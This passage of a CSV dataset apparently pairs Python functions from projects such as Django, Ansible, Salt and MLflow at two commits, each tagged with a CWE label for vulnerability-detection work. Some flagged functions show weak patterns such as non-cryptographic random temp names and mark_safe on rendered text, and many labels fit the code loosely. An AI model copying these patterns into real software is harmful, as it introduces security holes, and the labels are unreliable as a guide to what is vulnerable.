        spark_model.save(os.path.join(model_dir, _SPARK_MODEL_PATH_SUB))
    except Py4JJavaError:
        return Model.log(artifact_path=artifact_path, flavor=mlflow.spark, spark_model=spark_model,
                         conda_env=conda_env, dfs_tmpdir=dfs_tmpdir, sample_input=sample_input,
                         registered_model_name=registered_model_name,
                         signature=signature, input_example=input_example)

    # Otherwise, override the default model log behavior and save model directly to artifact repo
    mlflow_model = Model(artifact_path=artifact_path, run_id=run_id)
    with TempDir() as tmp:
        tmp_model_metadata_dir = tmp.path()
        _save_model_metadata(
            tmp_model_metadata_dir, spark_model, mlflow_model, sample_input, conda_env,
            signature=signature, input_example=input_example)
        mlflow.tracking.fluent.log_artifacts(tmp_model_metadata_dir, artifact_path)
        if registered_model_name is not None:
            mlflow.register_model(""runs:/%s/%s"" % (run_id, artifact_path), registered_model_name)"
,UNKNOWN,UNKNOWN,examples/hyperparam/search_hyperopt.py,1,"def train(training_data, max_runs, epochs, metric, algo, seed, training_experiment_id):
    """"""
    Run hyperparameter optimization.
    """"""
    # create random file to store run ids of the training tasks
    tmp = tempfile.mkdtemp()
    results_path = os.path.join(tmp, ""results"")
    tracking_client = mlflow.tracking.MlflowClient()

    def new_eval(nepochs,
                 experiment_id,
                 null_train_loss,
                 null_valid_loss,
                 null_test_loss,
                 return_all=False):
        """"""
        Create a new eval function

        :param nepochs: Number of epochs to train the model.
        :experiment_id: Experiment id for the training run
        :valid_null_loss: Loss of a null model on the validation dataset
        :test_null_loss: Loss of a null model on the test dataset.
        :return_test_loss: Return both validation and test loss if set.

        :return: new eval function.
        """"""

        def eval(params):
            """"""
            Train Keras model with given parameters by invoking MLflow run.

            Notice we store runUuid and resulting metric in a file. We will later use these to pick
            the best run and to log the runUuids of the child runs as an artifact. This is a
            temporary workaround until MLflow offers better mechanism of linking runs together.

            :param params: Parameters to the train_keras script we optimize over:
                          learning_rate, drop_out_1
            :return: The metric value evaluated on the validation data.
            """"""
            import mlflow.tracking
            lr, momentum = params
            p = mlflow.projects.run(
                uri=""."",
                entry_point=""train"",
                parameters={
                    ""training_data"": training_data,
                    ""epochs"": str(nepochs),
                    ""learning_rate"": str(lr),
                    ""momentum"": str(momentum),
                    ""seed"": seed},
                experiment_id=experiment_id
            )

            if p.wait():
                training_run = tracking_client.get_run(p.run_id)

                def get_metric(metric_name):
                    return [m.value for m in training_run.data.metrics if m.key == metric_name][0]

                # cap the loss at the loss of the null model
                train_loss = min(null_train_loss,
                                 get_metric(""train_{}"".format(metric)))
                valid_loss = min(null_valid_loss,
                                 get_metric(""val_{}"".format(metric)))
                test_loss = min(null_test_loss,
                                get_metric(""test_{}"".format(metric)))
            else:
                # run failed => return null loss
                tracking_client.set_terminated(p.run_id, ""FAILED"")
                train_loss = null_train_loss
                valid_loss = null_valid_loss
                test_loss = null_test_loss

            mlflow.log_metric(""train_{}"".format(metric), train_loss)
            mlflow.log_metric(""val_{}"".format(metric), valid_loss)
            mlflow.log_metric(""test_{}"".format(metric), test_loss)

            with open(results_path, ""a"") as f:
                f.write(""{runId} {train} {val} {test}\n"".format(runId=p.run_id,
                                                                train=train_loss,
                                                                val=valid_loss,
                                                                test=test_loss))
            if return_all:
                return train_loss, valid_loss, test_loss
            else:
                return valid_loss

        return eval

    space = [
        hp.uniform('lr', 1e-5, 1e-1),
        hp.uniform('momentum', .0, 1.0),
    ]

    with mlflow.start_run() as run:
        experiment_id = run.info.experiment_id if training_experiment_id == -1 \
            else training_experiment_id
        # Evaluate null model first.
        train_null_loss, valid_null_loss, test_null_loss = new_eval(0,
                                                                    experiment_id,
                                                                    math.inf,
                                                                    math.inf,
                                                                    math.inf,
                                                                    True)(params=[0, 0])
        best = fmin(fn=new_eval(epochs,
                                experiment_id,
                                train_null_loss,
                                valid_null_loss,
                                test_null_loss),
                    space=space,
                    algo=tpe.suggest if algo == ""tpe.suggest"" else rand.suggest,
                    max_evals=max_runs)
        print(""best"", best)
        best_val_train = math.inf
        best_val_valid = math.inf
        best_val_test = math.inf
        best_run = None
        # we do not have tags yet, for now store list of executed runs as an artifact
        mlflow.log_artifact(results_path, ""training_runs"")
        with open(results_path) as f:
            for line in f.readlines():
                run_id, str_val, str_val2, str_val3 = line.split("" "")
                val = float(str_val2)
                if val < best_val_valid:
                    best_val_train = float(str_val)
                    best_val_valid = val
                    best_val_test = float(str_val3)
                    best_run = run_id
        # record which run produced the best results, store it as a param for now
        best_run_path = os.path.join(os.path.join(tmp, ""best_run.txt""))
        with open(best_run_path, ""w"") as f:
            f.write(""{run_id} {val}\n"".format(run_id=best_run, val=best_val_valid))
        mlflow.log_artifact(best_run_path, ""best-run"")
        mlflow.log_metric(""train_{}"".format(metric), best_val_train)
        mlflow.log_metric(""val_{}"".format(metric), best_val_valid)
        mlflow.log_metric(""test_{}"".format(metric), best_val_test)
        shutil.rmtree(tmp)",CWE-94,mlflow/mlflow,4ba7bf932dfefd972c5cbd3e6fbd9cb482db1202,"def train(training_data, max_runs, epochs, metric, algo, seed, training_experiment_id):
    """"""
    Run hyperparameter optimization.
    """"""
    # create random file to store run ids of the training tasks
    tmp = tempfile.mkdtemp()
    results_path = os.path.join(tmp, ""results"")
    tracking_service = mlflow.tracking.get_service()

    def new_eval(nepochs,
                 experiment_id,
                 null_train_loss,
                 null_valid_loss,
                 null_test_loss,
                 return_all=False):
        """"""
        Create a new eval function

        :param nepochs: Number of epochs to train the model.
        :experiment_id: Experiment id for the training run
        :valid_null_loss: Loss of a null model on the validation dataset
        :test_null_loss: Loss of a null model on the test dataset.
        :return_test_loss: Return both validation and test loss if set.

        :return: new eval function.
        """"""

        def eval(params):
            """"""
            Train Keras model with given parameters by invoking MLflow run.

            Notice we store runUuid and resulting metric in a file. We will later use these to pick
            the best run and to log the runUuids of the child runs as an artifact. This is a
            temporary workaround until MLflow offers better mechanism of linking runs together.

            :param params: Parameters to the train_keras script we optimize over:
                          learning_rate, drop_out_1
            :return: The metric value evaluated on the validation data.
            """"""
            import mlflow.tracking
            lr, momentum = params
            p = mlflow.projects.run(
                uri=""."",
                entry_point=""train"",
                parameters={
                    ""training_data"": training_data,
                    ""epochs"": str(nepochs),
                    ""learning_rate"": str(lr),
                    ""momentum"": str(momentum),
                    ""seed"": seed},
                experiment_id=experiment_id
            )

            if p.wait():
                training_run = tracking_service.get_run(p.run_id)

                def get_metric(metric_name):
                    return [m.value for m in training_run.data.metrics if m.key == metric_name][0]

                # cap the loss at the loss of the null model
                train_loss = min(null_train_loss,
                                 get_metric(""train_{}"".format(metric)))
                valid_loss = min(null_valid_loss,
                                 get_metric(""val_{}"".format(metric)))
                test_loss = min(null_test_loss,
                                get_metric(""test_{}"".format(metric)))
            else:
                # run failed => return null loss
                tracking_service.set_terminated(p.run_id, ""FAILED"")
                train_loss = null_train_loss
                valid_loss = null_valid_loss
                test_loss = null_test_loss

            mlflow.log_metric(""train_{}"".format(metric), train_loss)
            mlflow.log_metric(""val_{}"".format(metric), valid_loss)
            mlflow.log_metric(""test_{}"".format(metric), test_loss)

            with open(results_path, ""a"") as f:
                f.write(""{runId} {train} {val} {test}\n"".format(runId=p.run_id,
                                                                train=train_loss,
                                                                val=valid_loss,
                                                                test=test_loss))
            if return_all:
                return train_loss, valid_loss, test_loss
            else:
                return valid_loss

        return eval

    space = [
        hp.uniform('lr', 1e-5, 1e-1),
        hp.uniform('momentum', .0, 1.0),
    ]

    with mlflow.start_run() as run:
        experiment_id = run.info.experiment_id if training_experiment_id == -1 \
            else training_experiment_id
        # Evaluate null model first.
        train_null_loss, valid_null_loss, test_null_loss = new_eval(0,
                                                                    experiment_id,
                                                                    math.inf,
                                                                    math.inf,
                                                                    math.inf,
                                                                    True)(params=[0, 0])
        best = fmin(fn=new_eval(epochs,
                                experiment_id,
                                train_null_loss,
                                valid_null_loss,
                                test_null_loss),
                    space=space,
                    algo=tpe.suggest if algo == ""tpe.suggest"" else rand.suggest,
                    max_evals=max_runs)
        print(""best"", best)
        best_val_train = math.inf
        best_val_valid = math.inf
        best_val_test = math.inf
        best_run = None
        # we do not have tags yet, for now store list of executed runs as an artifact
        mlflow.log_artifact(results_path, ""training_runs"")
        with open(results_path) as f:
            for line in f.readlines():
                run_id, str_val, str_val2, str_val3 = line.split("" "")
                val = float(str_val2)
                if val < best_val_valid:
                    best_val_train = float(str_val)
                    best_val_valid = val
                    best_val_test = float(str_val3)
                    best_run = run_id
        # record which run produced the best results, store it as a param for now
        best_run_path = os.path.join(os.path.join(tmp, ""best_run.txt""))
        with open(best_run_path, ""w"") as f:
            f.write(""{run_id} {val}\n"".format(run_id=best_run, val=best_val_valid))
        mlflow.log_artifact(best_run_path, ""best-run"")
        mlflow.log_metric(""train_{}"".format(metric), best_val_train)
        mlflow.log_metric(""val_{}"".format(metric), best_val_valid)
        mlflow.log_metric(""test_{}"".format(metric), best_val_test)
        shutil.rmtree(tmp)"
,UNKNOWN,UNKNOWN,salt/modules/mod_random.py,1,"def rand_int(start=1, end=10, seed=None):
    """"""
    Returns a random integer number between the start and end number.

    .. versionadded:: 2015.5.3

    start : 1
        Any valid integer number

    end : 10
        Any valid integer number

    seed :
        Optional hashable object

    .. versionchanged:: 2019.2.0
        Added seed argument. Will return the same result when run with the same seed.

    CLI Example:

    .. code-block:: bash

        salt '*' random.rand_int 1 10
    """"""
    if seed is not None:
        random.seed(seed)
    return random.randint(start, end)",CWE-330,saltstack/salt,339b90dbdf9fcc30cb10798308c2f81ed21baf59,"def rand_int(start=1, end=10, seed=None):
    """"""
    Returns a random integer number between the start and end number.

    .. versionadded: 2015.5.3

    start : 1
        Any valid integer number

    end : 10
        Any valid integer number

    seed :
        Optional hashable object

    .. versionchanged:: 2019.2.0
        Added seed argument. Will return the same result when run with the same seed.

    CLI Example:

    .. code-block:: bash

        salt '*' random.rand_int 1 10
    """"""
    if seed is not None:
        random.seed(seed)
    return random.randint(start, end)"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,tests/functional/test_functional.py,0,"def check_example(self, example_script, expect, ignore_nosec=False):
        '''A helper method to test the scores for example scripts.

        :param example_script: Filename of an example script to test
        :param expect: dict with expected counts of issue types
        '''
        # reset scores for subsequent calls to check_example
        self.b_mgr.scores = []
        self.run_example(example_script, ignore_nosec=ignore_nosec)

        result = {
            'SEVERITY': {'UNDEFINED': 0, 'LOW': 0, 'MEDIUM': 0, 'HIGH': 0},
            'CONFIDENCE': {'UNDEFINED': 0, 'LOW': 0, 'MEDIUM': 0, 'HIGH': 0}
        }

        for test_scores in self.b_mgr.scores:
            for score_type in test_scores:
                self.assertIn(score_type, expect)
                for idx, rank in enumerate(C.RANKING):
                    result[score_type][rank] = (test_scores[score_type][idx] //
                                                C.RANKING_VALUES[rank])

        self.assertDictEqual(expect, result)",UNKNOWN,PyCQA/bandit,1b11246e595675abad1669ce7f64f4a17caf9e8f,"def check_example(self, example_script, expect, ignore_nosec=False):
        '''A helper method to test the scores for example scripts.

        :param example_script: Filename of an example script to test
        :param expect: dict with expected counts of issue types
        '''
        # reset scores for subsequent calls to check_example
        self.b_mgr.scores = []
        self.run_example(example_script, ignore_nosec=ignore_nosec)

        result = {
            'SEVERITY': {'UNDEFINED': 0, 'LOW': 0, 'MEDIUM': 0, 'HIGH': 0},
            'CONFIDENCE': {'UNDEFINED': 0, 'LOW': 0, 'MEDIUM': 0, 'HIGH': 0}
        }

        for test_scores in self.b_mgr.scores:
            for score_type in test_scores:
                self.assertIn(score_type, expect)
                for idx, rank in enumerate(C.RANKING):
                    result[score_type][rank] = (test_scores[score_type][idx] /
                                                C.RANKING_VALUES[rank])

        self.assertDictEqual(expect, result)"
,UNKNOWN,UNKNOWN,lib/ansible/plugins/shell/sh.py,1,,CWE-330,ansible/ansible,e0b074000e9dca97fc950361865327abf318cf09,"def mkdtemp(self, basefile=None, system=False, mode=None):
        if not basefile:
            basefile = 'ansible-tmp-%s-%s' % (time.time(), random.randint(0, 2**48))
        basetmp = self.join_path(C.DEFAULT_REMOTE_TMP, basefile)
        if system and (basetmp.startswith('$HOME') or basetmp.startswith('~/')):
            basetmp = self.join_path('/tmp', basefile)
        cmd = 'mkdir -p ""%s""' % basetmp
        if mode:
            cmd += ' && chmod %s ""%s""' % (mode, basetmp)
        cmd += ' && echo ""%s""' % basetmp
        return cmd"
,UNKNOWN,UNKNOWN,django/contrib/auth/views.py,1,"def password_reset_confirm(request, uidb36=None, token=None, template_name='registration/password_reset_confirm.html',
                           token_generator=default_token_generator, set_password_form=SetPasswordForm,
                           post_reset_redirect=None):
    """"""
    View that checks the hash in a password reset link and presents a
    form for entering a new password.
    """"""
    assert uidb36 is not None and token is not None # checked by URLconf
    if post_reset_redirect is None:
        post_reset_redirect = reverse('django.contrib.auth.views.password_reset_complete')
    try:
        uid_int = base36_to_int(uidb36)
        user = User.objects.get(id=uid_int)
    except (ValueError, User.DoesNotExist):
        user = None

    context_instance = RequestContext(request)

    if user is not None and token_generator.check_token(user, token):
        context_instance['validlink'] = True
        if request.method == 'POST':
            form = set_password_form(user, request.POST)
            if form.is_valid():
                form.save()
                return HttpResponseRedirect(post_reset_redirect)
        else:
            form = set_password_form(None)
    else:
        context_instance['validlink'] = False
        form = None
    context_instance['form'] = form
    return render_to_response(template_name, context_instance=context_instance)",CWE-703,django/django,fca56e845065da91e13b6511cc8cf7b70ad1272e,"def password_reset_confirm(request, uidb36=None, token=None, template_name='registration/password_reset_confirm.html',
                           token_generator=default_token_generator, set_password_form=SetPasswordForm,
                           post_reset_redirect=None):
    """"""
    View that checks the hash in a password reset link and presents a
    form for entering a new password.
    """"""
    assert uidb36 is not None and token is not None # checked by URLconf
    if post_reset_redirect is None:
        post_reset_redirect = reverse('django.contrib.auth.views.password_reset_complete')
    try:
        uid_int = base36_to_int(uidb36)
    except ValueError:
        raise Http404

    user = get_object_or_404(User, id=uid_int)
    context_instance = RequestContext(request)

    if token_generator.check_token(user, token):
        context_instance['validlink'] = True
        if request.method == 'POST':
            form = set_password_form(user, request.POST)
            if form.is_valid():
                form.save()
                return HttpResponseRedirect(post_reset_redirect)
        else:
            form = set_password_form(None)
    else:
        context_instance['validlink'] = False
        form = None
    context_instance['form'] = form
    return render_to_response(template_name, context_instance=context_instance)"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/test_client/tests.py,0,"def test_put(self):
        response = self.client.put('/put_view/', {'foo': 'bar'})
        self.assertEqual(response.status_code, 200)
        self.assertEqual(response.templates[0].name, 'PUT Template')
        self.assertEqual(response.context['data'], ""{'foo': 'bar'}"")
        self.assertEqual(response.context['Content-Length'], '14')",CWE-Unknown,django/django,5bea8d256dcf98f6346786f8a4804b84fee5da27,"def test_put(self):
        response = self.client.put('/put_view/', {'foo': 'bar'})
        self.assertEqual(response.status_code, 200)
        self.assertEqual(response.templates[0].name, 'PUT Template')
        self.assertEqual(response.context['data'], ""{'foo': 'bar'}"")
        self.assertEqual(response.context['Content-Length'], 14)"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/monitoring/zabbix/zabbix_host.py,0,"def check_interface_properties(self, exist_interface_list, interfaces):
        interfaces_port_list = []

        if interfaces is not None:
            if len(interfaces) >= 1:
                for interface in interfaces:
                    interfaces_port_list.append(str(interface['port']))

        exist_interface_ports = []
        if len(exist_interface_list) >= 1:
            for exist_interface in exist_interface_list:
                exist_interface_ports.append(str(exist_interface['port']))

        if set(interfaces_port_list) != set(exist_interface_ports):
            return True

        for exist_interface in exist_interface_list:
            exit_interface_port = str(exist_interface['port'])
            for interface in interfaces:
                interface_port = str(interface['port'])
                if interface_port == exit_interface_port:
                    for key in interface.keys():
                        if str(exist_interface[key]) != str(interface[key]):
                            return True

        return False",,ansible/ansible,aa671be28bb6a3b4b597e54af618a5255a074149,"def check_interface_properties(self, exist_interface_list, interfaces):
        interfaces_port_list = []

        if interfaces is not None:
            if len(interfaces) >= 1:
                for interface in interfaces:
                    interfaces_port_list.append(int(interface['port']))

        exist_interface_ports = []
        if len(exist_interface_list) >= 1:
            for exist_interface in exist_interface_list:
                exist_interface_ports.append(int(exist_interface['port']))

        if set(interfaces_port_list) != set(exist_interface_ports):
            return True

        for exist_interface in exist_interface_list:
            exit_interface_port = int(exist_interface['port'])
            for interface in interfaces:
                interface_port = int(interface['port'])
                if interface_port == exit_interface_port:
                    for key in interface.keys():
                        if str(exist_interface[key]) != str(interface[key]):
                            return True

        return False"
,UNKNOWN,UNKNOWN,tests/admin_widgets/tests.py,1,"def test_show_hide_date_time_picker_widgets(self):
        """"""
        Pressing the ESC key or clicking on a widget value closes the date and
        time picker widgets.
        """"""
        from selenium.webdriver.common.by import By
        from selenium.webdriver.common.keys import Keys

        self.admin_login(username='super', password='secret', login_url='/')
        # Open a page that has a date and time picker widgets
        self.selenium.get(self.live_server_url + reverse('admin:admin_widgets_member_add'))

        # First, with the date picker widget ---------------------------------
        cal_icon = self.selenium.find_element(By.ID, 'calendarlink0')
        # The date picker is hidden
        self.assertFalse(self.selenium.find_element(By.ID, 'calendarbox0').is_displayed())
        # Click the calendar icon
        cal_icon.click()
        # The date picker is visible
        self.assertTrue(self.selenium.find_element(By.ID, 'calendarbox0').is_displayed())
        # Press the ESC key
        self.selenium.find_element(By.TAG_NAME, 'body').send_keys([Keys.ESCAPE])
        # The date picker is hidden again
        self.assertFalse(self.selenium.find_element(By.ID, 'calendarbox0').is_displayed())
        # Click the calendar icon, then on the 15th of current month
        cal_icon.click()
        self.selenium.find_element(By.XPATH, ""//a[contains(text(), '15')]"").click()
        self.assertFalse(self.selenium.find_element(By.ID, 'calendarbox0').is_displayed())
        self.assertEqual(
            self.selenium.find_element(By.ID, 'id_birthdate_0').get_attribute('value'),
            datetime.today().strftime('%Y-%m-') + '15',
        )

        # Then, with the time picker widget ----------------------------------
        time_icon = self.selenium.find_element(By.ID, 'clocklink0')
        # The time picker is hidden
        self.assertFalse(self.selenium.find_element(By.ID, 'clockbox0').is_displayed())
        # Click the time icon
        time_icon.click()
        # The time picker is visible
        self.assertTrue(self.selenium.find_element(By.ID, 'clockbox0').is_displayed())
        self.assertEqual(
            [
                x.text for x in
                self.selenium.find_elements(By.XPATH, ""//ul[@class='timelist']/li/a"")
            ],
            ['Now', 'Midnight', '6 a.m.', 'Noon', '6 p.m.']
        )
        # Press the ESC key
        self.selenium.find_element(By.TAG_NAME, 'body').send_keys([Keys.ESCAPE])
        # The time picker is hidden again
        self.assertFalse(self.selenium.find_element(By.ID, 'clockbox0').is_displayed())
        # Click the time icon, then select the 'Noon' value
        time_icon.click()
        self.selenium.find_element(By.XPATH, ""//a[contains(text(), 'Noon')]"").click()
        self.assertFalse(self.selenium.find_element(By.ID, 'clockbox0').is_displayed())
        self.assertEqual(
            self.selenium.find_element(By.ID, 'id_birthdate_1').get_attribute('value'),
            '12:00:00',
        )",CWE-259,django/django,2ccc0b22db6730ba0950b10bbc5238ae575e4a45,"def test_show_hide_date_time_picker_widgets(self):
        """"""
        Pressing the ESC key or clicking on a widget value closes the date and
        time picker widgets.
        """"""
        from selenium.webdriver.common.keys import Keys

        self.admin_login(username='super', password='secret', login_url='/')
        # Open a page that has a date and time picker widgets
        self.selenium.get(self.live_server_url + reverse('admin:admin_widgets_member_add'))

        # First, with the date picker widget ---------------------------------
        cal_icon = self.selenium.find_element_by_id('calendarlink0')
        # The date picker is hidden
        self.assertFalse(self.selenium.find_element_by_id('calendarbox0').is_displayed())
        # Click the calendar icon
        cal_icon.click()
        # The date picker is visible
        self.assertTrue(self.selenium.find_element_by_id('calendarbox0').is_displayed())
        # Press the ESC key
        self.selenium.find_element_by_tag_name('body').send_keys([Keys.ESCAPE])
        # The date picker is hidden again
        self.assertFalse(self.selenium.find_element_by_id('calendarbox0').is_displayed())
        # Click the calendar icon, then on the 15th of current month
        cal_icon.click()
        self.selenium.find_element_by_xpath(""//a[contains(text(), '15')]"").click()
        self.assertFalse(self.selenium.find_element_by_id('calendarbox0').is_displayed())
        self.assertEqual(
            self.selenium.find_element_by_id('id_birthdate_0').get_attribute('value'),
            datetime.today().strftime('%Y-%m-') + '15',
        )

        # Then, with the time picker widget ----------------------------------
        time_icon = self.selenium.find_element_by_id('clocklink0')
        # The time picker is hidden
        self.assertFalse(self.selenium.find_element_by_id('clockbox0').is_displayed())
        # Click the time icon
        time_icon.click()
        # The time picker is visible
        self.assertTrue(self.selenium.find_element_by_id('clockbox0').is_displayed())
        self.assertEqual(
            [
                x.text for x in
                self.selenium.find_elements_by_xpath(""//ul[@class='timelist']/li/a"")
            ],
            ['Now', 'Midnight', '6 a.m.', 'Noon', '6 p.m.']
        )
        # Press the ESC key
        self.selenium.find_element_by_tag_name('body').send_keys([Keys.ESCAPE])
        # The time picker is hidden again
        self.assertFalse(self.selenium.find_element_by_id('clockbox0').is_displayed())
        # Click the time icon, then select the 'Noon' value
        time_icon.click()
        self.selenium.find_element_by_xpath(""//a[contains(text(), 'Noon')]"").click()
        self.assertFalse(self.selenium.find_element_by_id('clockbox0').is_displayed())
        self.assertEqual(
            self.selenium.find_element_by_id('id_birthdate_1').get_attribute('value'),
            '12:00:00',
        )"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,v2/ansible/playbook/block.py,0,"def evaluate_conditional(self, all_vars):
        if len(self._dep_chain):
            for dep in self._dep_chain:
                if not dep.evaluate_conditional(all_vars):
                    return False
        if self._task_include is not None:
            if not self._task_include.evaluate_conditional(all_vars):
                return False
        if self._parent_block is not None:
            if not self._parent_block.evaluate_conditional(all_vars):
                return False
        elif self._role is not None:
            if not self._role.evaluate_conditional(all_vars):
                return False
        return super(Block, self).evaluate_conditional(all_vars)",,ansible/ansible,b08e35bb8a4729993d22e97ba967f2bac21513e4,"def evaluate_conditional(self, all_vars):
        if len(self._dep_chain):
            for dep in self._dep_chain:
                if not dep.evaluate_conditional(all_vars):
                    return False
        if self._task_include is not None:
            if not self._task_include.evaluate_conditional(all_vars):
                return False
        if self._parent_block is not None:
            if not self._parent_block.evaluate_conditional(all_vars):
                return False
        elif self._role is not None:
            if not self._role.evaluate_conditional(all_vars):
                return False
        return super(Block, self).evaluate_conditional(all_vars)"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/iostream.py,0,"def write_to_fd(self, data: memoryview) -> int:
        # clip buffer size at 1GB since SSL sockets only support upto 2GB
        # this change in behaviour is transparent, since the function is
        # already expected to (possibly) write less than the provided buffer
        if len(data) >> 30:
            data = memoryview(data)[: 1 << 30]
        try:
            return self.socket.send(data)  # type: ignore
        except ssl.SSLError as e:
            if e.args[0] == ssl.SSL_ERROR_WANT_WRITE:
                # In Python 3.5+, SSLSocket.send raises a WANT_WRITE error if
                # the socket is not writeable; we need to transform this into
                # an EWOULDBLOCK socket.error or a zero return value,
                # either of which will be recognized by the caller of this
                # method. Prior to Python 3.5, an unwriteable socket would
                # simply return 0 bytes written.
                return 0
            raise
        finally:
            # Avoid keeping to data, which can be a memoryview.
            # See https://github.com/tornadoweb/tornado/pull/2008
            del data",CWE-Unknown,tornadoweb/tornado,a4b2f788b08c5f416d4b544735d8f742f4993e40,"def write_to_fd(self, data: memoryview) -> int:
        # clip buffer size at 1GB since SSL sockets only support upto 2GB
        # this change in behaviour is transparent, since the function is
        # already expected to (possibly) read less than the provided buffer
        if len(data) >> 30:
            data = memoryview(data)[: 1 << 30]
        try:
            return self.socket.send(data)  # type: ignore
        except ssl.SSLError as e:
            if e.args[0] == ssl.SSL_ERROR_WANT_WRITE:
                # In Python 3.5+, SSLSocket.send raises a WANT_WRITE error if
                # the socket is not writeable; we need to transform this into
                # an EWOULDBLOCK socket.error or a zero return value,
                # either of which will be recognized by the caller of this
                # method. Prior to Python 3.5, an unwriteable socket would
                # simply return 0 bytes written.
                return 0
            raise
        finally:
            # Avoid keeping to data, which can be a memoryview.
            # See https://github.com/tornadoweb/tornado/pull/2008
            del data"
,UNKNOWN,UNKNOWN,providers/neo4j/tests/unit/neo4j/hooks/test_neo4j.py,1,"def test_run_with_schema(self, mock_graph_database):
        connection = Connection(
            conn_type=""neo4j"", login=""login"", password=""password"", host=""host"", schema=""schema""
        )
        mock_sql = mock.MagicMock(name=""sql"")

        # Use the environment variable mocking to test saving the configuration as a URI and
        # to avoid mocking Airflow models class
        with mock.patch.dict(""os.environ"", AIRFLOW_CONN_NEO4J_DEFAULT=connection.get_uri()):
            neo4j_hook = Neo4jHook()
            op_result = neo4j_hook.run(mock_sql)
            mock_graph_database.assert_has_calls(
                [
                    mock.call.driver(""bolt://host:7687"", auth=(""login"", ""password""), encrypted=False),
                    mock.call.driver().session(database=""schema""),
                    mock.call.driver().session().__enter__(),
                    mock.call.driver().session().__enter__().run(mock_sql),
                    mock.call.driver().session().__enter__().run().data(),
                    mock.call.driver().session().__exit__(None, None, None),
                ]
            )
            session = mock_graph_database.driver.return_value.session.return_value.__enter__.return_value
            assert op_result == session.run.return_value.data.return_value","CWE-259, CWE-703",apache/airflow,2cb6079a7559cb56d1d03bed62ce8d719ebf49b2,"def test_run_with_schema(self, mock_graph_database):
        connection = Connection(
            conn_type=""neo4j"", login=""login"", password=""password"", host=""host"", schema=""schema""
        )
        mock_sql = mock.MagicMock(name=""sql"")

        # Use the environment variable mocking to test saving the configuration as a URI and
        # to avoid mocking Airflow models class
        with mock.patch.dict(""os.environ"", AIRFLOW_CONN_NEO4J_DEFAULT=connection.get_uri()):
            neo4j_hook = Neo4jHook()
            op_result = neo4j_hook.run(mock_sql)
            mock_graph_database.assert_has_calls(
                [
                    mock.call.driver(""bolt://host:7687"", auth=(""login"", ""password""), encrypted=False),
                    mock.call.driver().session(database=""schema""),
                    mock.call.driver().session().__enter__(),
                    mock.call.driver().session().__enter__().run(mock_sql),
                    mock.call.driver().session().__enter__().run().data(),
                    mock.call.driver().session().__exit__(None, None, None),
                ]
            )
            session = mock_graph_database.driver.return_value.session.return_value.__enter__.return_value
            assert op_result == session.run.return_value.data.return_value"
,UNKNOWN,UNKNOWN,django/contrib/admindocs/utils.py,1,"def parse_rst(text, default_reference_context, thing_being_parsed=None):
    """"""
    Convert the string from reST to an XHTML fragment.
    """"""
    overrides = {
        'doctitle_xform': True,
        'initial_header_level': 3,
        ""default_reference_context"": default_reference_context,
        ""link_base"": reverse('django-admindocs-docroot').rstrip('/'),
        'raw_enabled': False,
        'file_insertion_enabled': False,
    }
    if thing_being_parsed:
        thing_being_parsed = force_bytes(""<%s>"" % thing_being_parsed)
    # Wrap ``text`` in some reST that sets the default role to ``cmsreference``,
    # then restores it.
    source = """"""
.. default-role:: cmsreference

%s

.. default-role::
""""""
    parts = docutils.core.publish_parts(source % text,
                source_path=thing_being_parsed, destination_path=None,
                writer_name='html', settings_overrides=overrides)
    return mark_safe(parts['fragment'])",CWE-79,django/django,4d0f8831a7498ab3b1ebcf4cafa2ee234503e4f8,"def parse_rst(text, default_reference_context, thing_being_parsed=None):
    """"""
    Convert the string from reST to an XHTML fragment.
    """"""
    overrides = {
        'doctitle_xform': True,
        'inital_header_level': 3,
        ""default_reference_context"": default_reference_context,
        ""link_base"": reverse('django-admindocs-docroot').rstrip('/'),
        'raw_enabled': False,
        'file_insertion_enabled': False,
    }
    if thing_being_parsed:
        thing_being_parsed = force_bytes(""<%s>"" % thing_being_parsed)
    # Wrap ``text`` in some reST that sets the default role to ``cmsreference``,
    # then restores it.
    source = """"""
.. default-role:: cmsreference

%s

.. default-role::
""""""
    parts = docutils.core.publish_parts(source % text,
                source_path=thing_being_parsed, destination_path=None,
                writer_name='html', settings_overrides=overrides)
    return mark_safe(parts['fragment'])"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,notebook/services/security/handlers.py,0,"def skip_origin_check(self):
        """"""Don't check origin when reporting origin-check violations!""""""
        return True",,jupyter/notebook,0f011768f6d7abb6659cb9588096c9a726f9123b,"def skip_origin_check(self):
        """"""Don't check origin when reporting origin-check violations!""""""
        return True"
,UNKNOWN,UNKNOWN,mlflow/tracking/fluent.py,1,"def search_experiments(
    view_type: int = ViewType.ACTIVE_ONLY,
    max_results: Optional[int] = None,
    filter_string: Optional[str] = None,
    order_by: Optional[List[str]] = None,
) -> List[Experiment]:
    """"""
    Search for experiments that match the specified search query.

    :param view_type: One of enum values ``ACTIVE_ONLY``, ``DELETED_ONLY``, or ``ALL``
                      defined in :py:class:`mlflow.entities.ViewType`.
    :param max_results: If passed, specifies the maximum number of experiments desired. If not
                        passed, all experiments will be returned.
    :param filter_string:
        Filter query string (e.g., ``""name = 'my_experiment'""``), defaults to searching for all
        experiments. The following identifiers, comparators, and logical operators are supported.

        Identifiers
          - ``name``: Experiment name.
          - ``tags.<tag_key>``: Experiment tag. If ``tag_key`` contains
            spaces, it must be wrapped with backticks (e.g., ``""tags.`extra key`""``).

        Comparators
          - ``=``: Equal to.
          - ``!=``: Not equal to.
          - ``LIKE``: Case-sensitive pattern match.
          - ``ILIKE``: Case-insensitive pattern match.

        Logical operators
          - ``AND``: Combines two sub-queries and returns True if both of them are True.

    :param order_by:
        List of columns to order by. The ``order_by`` column can contain an optional ``DESC`` or
        ``ASC`` value (e.g., ``""name DESC""``). The default is ``ASC`` so ``""name""`` is equivalent to
        ``""name ASC""``. The following fields are supported.

            - ``name``: Experiment name.
            - ``experiment_id``: Experiment ID.

    :return: A list of :py:class:`Experiment <mlflow.entities.Experiment>` objects.

    .. code-block:: python
        :caption: Example

        import mlflow


        def assert_experiment_names_equal(experiments, expected_names):
            actual_names = [e.name for e in experiments if e.name != ""Default""]
            assert actual_names == expected_names, (actual_names, expected_names)


        mlflow.set_tracking_uri(""sqlite:///:memory:"")

        # Create experiments
        for name, tags in [
            (""a"", None),
            (""b"", None),
            (""ab"", {""k"": ""v""}),
